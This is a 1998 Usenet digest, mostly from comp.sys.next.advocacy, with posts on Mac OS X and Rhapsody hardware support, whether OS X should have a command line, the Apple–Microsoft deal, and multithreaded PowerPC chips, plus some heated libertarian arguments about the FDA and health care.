References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net> <35A545DD.567CAFC@ericsson.com> <slrn6qb6br.o2v.sal@panix3.panix.com>
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NNTP-Posting-Date: 10 Jul 1998 06:52:17 GMT
Salvatore Denaro wrote:
>
> On Thu, 09 Jul 1998 17:36:13 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
> >Ever had a relative who died because the FDA make it illegal to procure
> >the life-saving cure (in common use in Europe, of course)?
>
> Are you aware that most of Europe has <dramatic chord> socialized health
> care </dramatic chord> with universal coverage. The FDA vs Europe does
> little to promote your views.
I'm not sure what socialized medicine has to do with the actions of the
FDA, which are tantamount to murder.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 01:52:11 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A5BA1B.3CFBDCA6@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com>
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NNTP-Posting-Date: 10 Jul 1998 06:57:31 GMT
Salvatore Denaro wrote:
>
> On 9 Jul 1998 20:38:29 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
> >But the point is, temp is not some terrible thing and that anyone who
> >works for a temp. agency is being given the short end.
>
> Are you aware that UPS tried to "downsize" hundred of workers are replace
> them with temps? Are you aware that many of the "temps" were downsized UPS
> workers who were being rehired at less pay and no benifits?
>
> Many (if not most) temps are being given the short end. Few get health care,
> something that we as a society have a moral obligation to provide to all
> members of our society. I would gladdly pay 5% to 10% more in taxes to know
> that everyone in the US who is sick will get the care they need.
I wouldn't, to be blunt. Guaranteed health care means guaranteed
spiraling health care costs. Do you know how much doctors are paid for
CT-scan referrals? Do you think that a government-run health care
bureacracy will improve this situation? Health care guarantees are as
destructive as wage controls, which reduce employment, decrease
efficiency, and pass on the additional costs to consumers.
Health care is currently a (generally) competitive proposition. Removing
the competition will reduce the value of the health care market.
I am not currently paid health care benefits. It remains to me to find
the most cost-effective health care provider possible with my disposable
income. This is an incentive toward value. Removing the competition with
government subsidies will inflate the cost of care and make it
impossible to determine value on the basis of competitiveness.
MJP
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: Fri, 10 Jul 1998 02:06:04 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1007980206040001@digital-02-143.hou.neoworld.net>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net> <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net> <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com> <joe.ragosta-0907981136510001@wil114.dol.net>
In article <joe.ragosta-0907981136510001@wil114.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>>In article <jayfar-0907980000590001@chestnut1-38.slip.netaxs.com>,
>>jayfar@netaxs.com wrote:
>>
>>> The thing is jokes like that aren't the slightest bit funny when they
>>> appear on a widely read website on other than April 1. The wrong people
>>> read such jokes and run with them as facts -- David Field would have a
>>> field day with that.
>>
>>I can see the reports now:
>>
>>Wall Street Journal "A well known Mac site reports that Mac OS X is not
>>Y2K compliant". And it will mushroom from there.
>>
>>Then you'll have Jim Coates questioning the Mac's Y2K compliance and so on.
No kidding.
Just who is this "7" guy reporting on the keynote for them, anyway?
Does he seriously think that he's funny?
I guess everyone's a comedian....
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: 9 Jul 98 13:13:44
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul9131344@slave.doubleu.com>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net>
<6o2i5m$km7@newsb.netnews.att.com>
In-reply-to: gupta@kcopsrm.tm.tta.moc-mirror after @'s message of 9 Jul 1998 13:56:06 GMT
In article <6o2i5m$km7@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
Michael Peck <mjpeck@nstar.net> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>> Regarding the distribution of wealth in the US, circa 1992 :
>> http://research.mpls.frb.fed.us/research/qr/qr2121.pdf
>>
>> lowest fifth : 0.39% of the total
>> second fifth : 1.74%
>> third fifth : 5.72%
>> fourth fifth : 13.43%
>> top fifth : 79.49%
>>
>> The above reference also discusses income and earnings
>> distributions.
>
>"Both the top 20 percent who are often called 'the rich' and the
>bottom 20 percent who are called 'the poor' represent a constantly
>changing set
>[deleted]
Don't know what your point is, I was merely pointing out to those
that deny it, that there is great disparity in the distribution of
wealth. BTW, the disparity is growing, so if you approve of the
disparity, things must be getting better. One wonders why you
complain so much.
Perhaps you need to reread the posting. The point seemed pretty
clear, and it was basically on the order of: Some people are in their
quintiles for a valid reason.
For instance, a 25-year-old has little business being in the top
quintile, because s/he hasn't had time to aquire wealth. [Put another
way, through 1995, _I_ was in the bottom quintile. Now I'm probably
more in the second or third quintile, and rising.]
Likewise, many of the people in the top quintile are retired, and got
into that quintile because they spend 50 years accumulating their
wealth.
People move between the quintiles faster than most care to admit. The
statistic that the top quintile has a greater percentage of the wealth
is useless if it turns out that the turnover in the top quintile is
>50% per decade. In that case, it would mean that people are
constantly moving upward from lower quintiles and leapfrogging the
people who were originally in the top quintile - which is _good_.
Lastly, these statistics are somewhat misleading in that they only
measure wealth, and not cash flow. I'd guess there are a lot of
people in the second, third, and fourth quintiles who live well, but
don't save much money. [You may have heard of them, they're the
massive "middle class" that the pols are always courting.]
The original fed statistics would be worth a lot more if they
indicated not only the current static distribution, but also the
distribution of people within each quintile. For instance, what
percentage of the top quintile started in the top quintile, what
percentage started in the fourth quintile, etc. That would give a
sense of whether things are moving onward and upward, or if they are
static.
The amount of wealth you're born into is only an indicator, _not_ a
determinant,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: 9 Jul 98 13:17:24
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul9131724@slave.doubleu.com>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
<gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net>
In-reply-to: gierkeNOSPAM@delaware.infi.net's message of Wed, 08 Jul 1998 21:24:24 -0500
In article <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net>,
gierkeNOSPAM@delaware.infi.net (Gierke) writes:
In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Macintosh OS X, due out third quarter of 1999, was announced
> today to not be Year 2000 compliant.
>
> From macosrumors.com. This is a joke right?
Perhaps this will answer your questions:
(Taken directly from http://2guys.macosrumors.com/wednesday.html#night)
--Begin--
You freaking babies
Earlier today I joked that OS X would not be year 2000 compliant --
with the release date set for near the end of 1999 and all the
media hype about year 2000 problems, I am stunned at the number of
e-mails from people who actually believed it. They didn't say
anything, but let's just assume it works, ok?
--End--
So do they want to be treated seriously, or do they want to be treated
as an untrustworthy site? They've "printed" _much_ less likely rumors
than this and passed them off as legit.
[What does the release date have to do with Y2K compliance?
Impossible jobs don't get finished by declaring release dates. It's
entirely plausable that there will be Y2K problems in operating
systems released in 1999, or even 2000. They're called bugs...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 9 Jul 98 13:27:01
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul9132701@slave.doubleu.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu>
<3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu>
<359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net>
<6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net>
<6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net>
<6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net>
<6n3g42$1nf$1@ndnws01.ne.highway1.com>
<andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net>
<Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu>
<uzpendo55.fsf@ai.mit.edu> <6nqrbs$37s$1@ns3.vrx.net>
<6ns60v$dkf$1@news.digifix.com>
<joe.ragosta-0707980806470001@wil42.dol.net>
<6nus1s$goj$1@nnrp1.dejanews.com> <6o1f2o$844$1@news.digifix.com>
In-reply-to: sanguish@digifix.com's message of 9 Jul 1998 03:57:12 GMT
In article <6o1f2o$844$1@news.digifix.com>,
sanguish@digifix.com (Scott Anguish) writes:
On 07/07/98, quinlan@intergate.bc.ca wrote:
>BTW, you would have to modify more than the behaviour of the
>existing views to globally change the behavior of scrollbars in
>YB. What about people who create their own views? They would have
>to be told on which side they should draw their scrollbars.
This would only be an issue if you wrote a new implementation of
NSScrollView.
If I wrote my own view, I'd put it inside an NSScrollView to make
it scrollable. NSScrollView would still manage all the placement
of the scrollers.
There are very few apps which do things this way. For instance
Terminal and Stuart use a Scroller and a View rather than a
ScrollView. This was done because ScrollView doesn't provide terribly
approachable programmatic control, and would have had to be almost
completely subverted to make it work acceptably (performance-wise and
visually). These decisions were made six or seven years before
OpenStep came on the scene...
That said, NeXT and Apple have done an _excellent_ job of making sure
this isn't a problem in the future. If you don't have any long-time
developers, bringing older code into the future isn't too much of a
problem,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Fergus.Doherty@nottingham.ac.uk (Fergus Doherty)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: Fri, 10 Jul 1998 10:43:37 +0100
Organization: Nottingham University
Message-ID: <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk>
References: <6o3vu2$m80$1@news.xmission.com>
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In article <6o3vu2$m80$1@news.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> I was first angry, then befuddled when I learned that Apple no longer had
> any plans for an Intel-based OS after Rhapsody 1.0 nee MacOS X for Server.
> Bringing the benefits of a MacOS interface and an NT-beating core OS to
> the unwashed Intel-based masses seemed like such a great idea.
>
> Did back-room wheeling and dealing to keep Office on MacOS prematurely end
> the life of the MacOS on Intel? Certainly Microsoft had to be more than a
> little worried at the prospect of a really good Unix-compatible OS
> combined with a really good Windows-killing user experience blowing NT 5.0
> and its enterprise pretensions out of the market.
>
> C.f. http://www.news.com/News/Item/0,4,23986,00.html?st.ne.fd.gif.e
>
> Dwight Davis, an analyst who follows Microsoft
> at Summit Strategies, said:
>
> "Now that Apple has decided to fold its Rhapsody
> operating system into its Mac OS line, thereby
> eliminating the possibility of competing against
> Windows NT, . . the partnership is on firm
> footing."
>
> Was there a quid pro quo? Where are the Bay Area equivalents of Woodward
> and Bernstein when you need them? =)
>
> ....... kris
I dunno if Apple decided to pull out of supporting Intel hardware because
of the MS deal but reading reports from MacWorld in NY it seems that part
of the deal was Apple plugging Internet Explorer ad nauseum. Apple
employes chant "Internet Explorer is my browser of choice..." to general
hilarity amongst the attendees. 150 million bucks may seem to much for
cheesy support of IE like this, but who knows... MS wants to take over the
Internet and sees IE as part of the strategy.
As for MacOS X on Intel, I thought the runes indicated that Merced will be
supported?
Is there a problem with porting Carbon to Rhapsody for Intel? If there is
then this may exclude MacOS X for intel. Or it may be a marketing thing,
Apple wanting to keep Mac app users on Mac hardware. So why not a
Rhapsody+Red box (Windows app compatibility - as has been rumoured) as a
strategy for Intel? After all current PC users aren't likely to want to
run Mac apps, what they want is to be able to run Windows apps, but in a
better environment. Is Apple pursuing this do you think?
--
Fergus Doherty,
Dept Biochemistry,
Nottingham University,
Fergus.Doherty@nottingham.ac.uk
0115 970 9366 (74-41366 internal)
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 11:25:14 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o4tmq$stl$1@camel29.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6qb9hp.o2v.sal@panix3.panix.com> <35A5B8E1.BCEB0C3B@nstar.net> <35A5BA1B.3CFBDCA6@nstar.net>
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In article <slrn6qb6br.o2v.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>Are you aware that most of Europe has <dramatic chord> socialized health
>care </dramatic chord> with universal coverage.
So? They also have much less of a bureaucracy gauntlet to get new
treatments approved, which is the point.
The FDA vs Europe does
>little to promote your views.
I didn't hear Michael praising Europe's health care system, merely
pointing out that the lack of a huge FDA bureaucracy or its equivalent in
Europe hamstringing medical progress means they get lifesaving drugs
years, sometimes decades, before we do here.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 11:44:59 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o4urr$qjq$1@camel29.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6qb9hp.o2v.sal@panix3.panix.com> <35A5B8E1.BCEB0C3B@nstar.net> <35A5BA1B.3CFBDCA6@nstar.net>
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In article <slrn6qb71d.o2v.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>Are you aware that UPS tried to "downsize" hundred of workers are replace
>them with temps?
Yes. And?
Are you aware that many of the "temps" were downsized UPS
>workers who were being rehired at less pay and no benifits?
Yes. And?
The labor market is dynamic, ever changing. While it may have worked for
grandpa to stand at the steel plant all day pouring metal, and uncle joe
may have done very well for himself managing the local Denny's, these
occupations are not part of the dynamic sectors of the economy.
When someone goes to school to study english, and finds that he has a
more difficult time in the workforce than someone with a computer science
BS, should we lambast that fact? Or is it someone's own responsibility
to choose a career path which matched both their own talents, and one
that is in demand by the marketplace?
The solid fact remains, we are transitioning from an economy based on
making consumer goods to an economy based on creating knowlege and
information. Someone whose skill-set is based on what was in-demand 30
years ago is not going to do well versus someone whose skill-set is based
on what is needed today.
>
>Many (if not most) temps are being given the short end.
The temps where I work are not getting the short end of anything.
Perhaps because they have chosen a dynamic career rather than a stagnant
one.
Few get health care,
>something that we as a society have a moral obligation to provide to all
>members of our society.
I agree, we do have a moral obligation to help others, but differ
radically about whether government programs help or are even moral in
themselves. Of course most of the helpless today have gotten that way
because of foolish, destructive government "assistance" programs which
reward sloth and indolence and punish entrepreneurship. I will post a
list of dozens of ways this is the case if you want.
But the state is not based on charity, it is based on forcible
redistribution which is immoral. I don't try to impose my morality on
unwilling others at the point of a gun.
I would gladdly pay 5% to 10% more in taxes to know
>that everyone in the US who is sick will get the care they need.
All that tax-and-spend and third-party payments (along with the medical
guild monopoly of the AMA) have done is drive the cost of medical care
out of reach of the poor.
If paying taxes were at all efficient (it is not) and if the money was
spent wisely (it is not) and if it was spent on what you wanted (it is
not), then we would just have to address the morality of redistribution
via theft. However, your point falls on the first three utilitarian
grounds, we do not even have to argue morality here.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 11:45:59 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o4utn$qjq$2@camel29.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <slrn6qb9hp.o2v.sal@panix3.panix.com> <35A5B8E1.BCEB0C3B@nstar.net> <35A5BA1B.3CFBDCA6@nstar.net>
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In article <35A5B8E1.BCEB0C3B@nstar.net> Michael Peck, mjpeck@nstar.net
writes:
>I'm not sure what socialized medicine has to do with the actions of the
>FDA, which are tantamount to murder.
Loud cheering here, great way to put it Michael.
Matthew Cromer
Date: Fri, 10 Jul 1998 08:07:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-1007980807590001@wil117.dol.net>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com> <atlauren-0907981050270001@jungleland.acs.uci.edu>
In article <atlauren-0907981050270001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
> In article <1dbupy1.zcyvzv1hf1jkvN@carina22.wco.com>, mpaque@wco.com (Mike
> Paquette) wrote:
>
> >(For those who don't get it, the official name Rhapsody is to ship under
> >was announced today to be 'Mac OS X Server.')
>
> Which really brings about some interesting questions WRT hardware support.
>
> Rhapsody DR releases support several 604 and 604e-based systems.
> Rhapsody DR releases support G3 systems, as of DR2.
> (But not the PowerBook G3 Series, oddly enough.)
> Apple's public statements of hardware support in OS X only mention G3 systems.
> In the Macintosh world, "not supported" means "doesn't work, won't run."
Not true.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: 10 Jul 1998 12:18:21 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o50qd$30$1@news.cs.tu-berlin.de>
References: <6o3cbd$o1k@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>says that "This year ISSCC has a paper describing the
>first microprocessor implementing a mainstream architecture
>(the PowerPC) with coarse-grain multithreading. Coarse
>grain multithreading hides the delays caused by data fetches
>from memory by switching between 2 or more program threads."
Very interesting. Corroborates a suspicion I've had for a while
that real multitasking is necessary for virtual memory to be
useful. After all, even a fairly low page-fault rate will
slow a single process virtually to a halt, so system performance
can only be maintained if there are other useful processes
to switch to.
On the other hand, if there usually is a useful process to switch
to, virtual memory overhead can be almost completely hidden as long
as the pages can be made available by the time the process is
scheduled to run again.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Date: Fri, 10 Jul 1998 08:16:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1007980816070001@wil117.dol.net>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com> <*johnnyc*-0907981001340001@jchristie.halifaxcable.dal.ca> <35A4DA46.C3E539EF@nstar.net> <rmcassid-0907981212100001@dante.eng.uci.edu> <6o39sn$hd5$1@lwnws01.ne.highway1.com>
In article <6o39sn$hd5$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > In article <35A4DA46.C3E539EF@nstar.net>, "Michael J. Peck"
> > <mjpeck@nstar.net> wrote:
> >
> > >Remember! No matter what you do to a Honda Accord, it will never be a
> > >Chevy Camaro, with 275 bhp, way-cool styling, and a sweeping LT1
> > >spoiler. Then again, your target market may not give a shit.
> >
> > Chevy Camaro? Way-cool styling?
> > That's an offense to the word 'style'.
> > It's gotta be...
>
> I gotta agree. A pretty cool integrated spoiler, and overall stylish car, is
> on the Acura (i.e. Honda) NSX. The one I like best though is on the Porsche
> 959; very neet and actually useful spoiler work. It might be somekind of
> crime against nature that Bgates has one; why do I imagine he'd put in an
> automatic transmission?
Nah.
He's create an extra seat for your "shifting management technician" who
you had to hire at $50,000 per year to shif the car for you.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 08:31:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007980831140001@wil117.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <joe.ragosta-0907981128510001@wil114.dol.net> <kindall-0907981347280001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0907981358480001@wil97.dol.net> <smileyy-0907981834120001@cin-oh2-25.ix.netcom.com>
In article <smileyy-0907981834120001@cin-oh2-25.ix.netcom.com>,
smileyy@ix.netcom.com (Andrew McCormick) wrote:
> In article <joe.ragosta-0907981358480001@wil97.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >I'd love for Mac OS X Server to continue on Intel past 1.0. I don't care
> >as much about the client version running on Intel, but the server is
> >important.
>
> Yellow Box for Windows is much more important than Mac OS Server.
Possibly.
But if Apple is serious about Mac OS Server being a major player, it
should run on Intel hardware.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 08:33:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007980833500001@wil117.dol.net>
References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167> <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org>
In article <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Lawson English posted the following to comp.sys.mac.advocacy:
>
> >Q) Why no floppy?
> >A) We're forward-looking -use e-mail if you must take a file that would fit
> >on a floppy home with you.
>
> Funny - I've been dealing with a law firm for the last couple of days
> that has email, but has no idea how to deal with receiving attachments.
> They _insisted_ on a floppy, despite the inconvenience of getting the
> damn thing.
Good thing a law firm can afford to buy a Superdrive for their iMacs.
BTW, feel free to tell them that I'll teach them how to use attachments
for, let's say, $20,000.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 08:36:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007980836030001@wil117.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu>
In article <6o3s81$1k6$1@vixen.cso.uiuc.edu>, stwillis@ews.uiuc.edu
(willis sean timothy) wrote:
> COMP.MAC.SYSTEM trimmed
>
>
> Lawson English (english@primenet.com) wrote:
>
> : But what about when you try to SELL your 7500? Who will buy it and what new
> : owner of your old machine will trust Apple to continue to make a decent OS
> : for older machines when they've abandoned a 4-year-old machine?
>
> MacOS 8.5---> MacOS 9.x
>
> Not exactly abandoned.
>
> Try running NT on a 486 66Mhz. I didn't think so.
Actually, the NT fans will tell you that NT works just fine on a 486 66
MHz--until you start talking about running it under VPC or SoftWindows.
THEN, 486 performance is hopelessly slow.
I've never figured out how 486 performance on a "real" PC is OK, while 486
performance on a "virtual" PC isn't.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 08:37:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007980837370001@wil117.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu>
In article <6o3u84$m8f$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> willis sean timothy (stwillis@ews.uiuc.edu) wrote:
>
> : Try running NT on a 486 66Mhz. I didn't think so.
>
> (Hertz is "Hz", not "hz".)
>
> I've done that. It worked OK, so long as you threw enough memory at it.
> (That's the chief problem with these Microsoft operating systems. The
> speed with which they run seems to be about proportional to the number
> of megabytes of installed RAM.) Linux, with XFree86, worked even
> better. Even now I'm only up to a 120 MHz K5 and have no need for
> anything faster.
Good. One more person who can't complain about the performance of
SoftWindows or Virtual PC.
>
> The 486 as a "workhorse" has had an exceptionally long useful life.
> It's certainly a lot more useful than, say, a Quadra 650 or other
> 68040. Try running System 8 on a 68040 33 MHz.
Sure. It runs fine. What's your point?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 09:34:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-1007980934070001@wil37.dol.net>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com> <6o33u6$dt7$2@lwnws01.ne.highway1.com> <slrn6qb8mj.o2v.sal@panix3.panix.com>
In article <slrn6qb8mj.o2v.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On 9 Jul 1998 18:59:18 GMT, John Kheit <jkheit@mediaone.net> wrote:
> >sal@panix3.panix.com (Salvatore Denaro) wrote:
> >> MacOS customers do _not_ want a CLI.
> >Yea, and listenting to those geniuses has lead apple to monumental
> >failure after failure.
>
> Ignoring them has also lead Apple to monumental failures.
>
> The impression I got from Apple at a WebObjects user meeting I attened is
> that Apple has no plans to remove Unix from MacOSX, but they want to make
> sure that it isn't seen as a Unix system by the casual user.
>
> To paraphrase an Apple developer I spoke with "If you want zero Unix you
> will get zero Unix. If you want total Unix you will get total Unix." That
> statement was so clear and so direct that I had to double check his ID to
> make sure he was really an Apple employee...
THAT is what Mac OS X should be. If they pull it off, they've done the
right thing. There are places for both a CLI and a GUI. For the _huge_
majority of people, the GUI makes more sense, but Mac OS X should be
trying to satisfy the minority, as well.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 09:32:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-1007980932050001@wil37.dol.net>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com> <6o33u6$dt7$2@lwnws01.ne.highway1.com>
In article <6o33u6$dt7$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> sal@panix3.panix.com (Salvatore Denaro) wrote:
> > On 8 Jul 1998 18:48:44 GMT, Erik M. Buck <embuck@palmer.cca.rockwell.com>
> > > > Apple
> > >needs to give customers what they want.
> >
> > MacOS customers do _not_ want a CLI.
>
> Yea, and listenting to those geniuses has lead apple to monumental
> failure after failure.
Hmmm.
You could say the same thing about Windows users. 99% of them also don't
want a CLI. Is Windows a failure, too?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 10 Jul 1998 13:42:03 GMT
Organization: Occam's Razor
Message-ID: <6o55nb$11t$1@news.cmc.net>
